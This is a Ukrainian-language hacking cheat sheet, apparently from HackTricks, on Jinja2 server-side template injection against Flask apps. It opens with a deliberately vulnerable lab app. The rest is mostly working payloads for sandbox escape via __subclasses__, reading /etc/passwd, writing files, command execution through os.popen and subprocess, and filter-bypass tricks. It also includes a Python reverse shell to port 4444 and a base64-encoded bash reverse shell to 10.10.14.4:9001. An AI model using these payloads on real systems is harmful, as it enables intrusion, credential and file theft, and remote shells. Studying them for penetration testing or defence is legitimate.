Поділіться своїми хакерськими трюками, надсилайте PR доHackTricks та HackTricks Cloud репозиторіїв GitHub.
Лабораторія
from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Відлагодження
Якщо увімкнено розширення відлагодження, буде доступний тег debug для виведення поточного контексту, а також доступних фільтрів та тестів. Це корисно, щоб побачити, що доступно для використання в шаблоні без налаштування відлагоджувача.
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Впровадження Jinja
По-перше, під час впровадження Jinja вам потрібно знайти спосіб вибратися з пісочниці і відновити доступ до звичайного виконання коду Python. Для цього вам потрібно зловживати об'єктами, які походять з непісочної середи і доступні з пісочниці.
Доступ до глобальних об'єктів
Наприклад, у коді render_template("hello.html", username=username, email=email) об'єкти username та email походять з непісочної середи Python і будуть доступні всередині пісочниці. Крім того, є інші об'єкти, які будуть завжди доступні з пісочниці, це:
[]
''
()
dict
config
request
Відновлення <class 'object'>
Потім, з цих об'єктів нам потрібно дістатися до класу: <class 'object'> для того, щоб спробувати відновити визначені класи. Це тому, що з цього об'єкту ми можемо викликати метод __subclasses__ і отримати доступ до всіх класів з незахищеної середовища Python.
Для доступу до цього класу об'єктів, вам потрібно отримати доступ до об'єкта класу і потім отримати доступ або до __base__, __mro__()[-1] або .mro()[-1]. І після досягнення цього класу об'єктів ми викликаємо__subclasses__().
Перевірте ці приклади:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
Уникнення RCE
Отримавши<class 'object'> і викликавши __subclasses__, ми тепер можемо використовувати ці класи для читання та запису файлів та виконання коду.
Виклик __subclasses__ дав нам можливість отримати доступ до сотень нових функцій, ми будемо задоволені, просто отримавши доступ до класу файлу для читання/запису файлів або будь-якого класу з доступом до класу, який дозволяє виконувати команди (наприклад, os).
Читання/Запис віддаленого файлу
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
Виконання коду віддалено (RCE)
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
Для дізнавання про більше класів, які можна використовувати для виходу ви можете перевірити:
Ці ухилення дозволять нам отримати доступ до атрибутів об'єктів без використання деяких символів.
Ми вже бачили деякі з цих ухилень у прикладах попереднього, але давайте підсумуємо їх тут:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
З глобальних об'єктів є ще один спосіб отримати RCE без використання цього класу.
Якщо вам вдасться дістатися до будь-якої функції з цих глобальних об'єктів, ви зможете отримати доступ до __globals__.__builtins__, і звідти RCE буде дуже просто.
Ви можете знайти функції з об'єктів request, config та будь-якого іншого цікавого глобального об'єкту, до якого у вас є доступ за допомогою:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Після того, як ви знайшли деякі функції, ви можете відновити вбудовані функції за допомогою:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid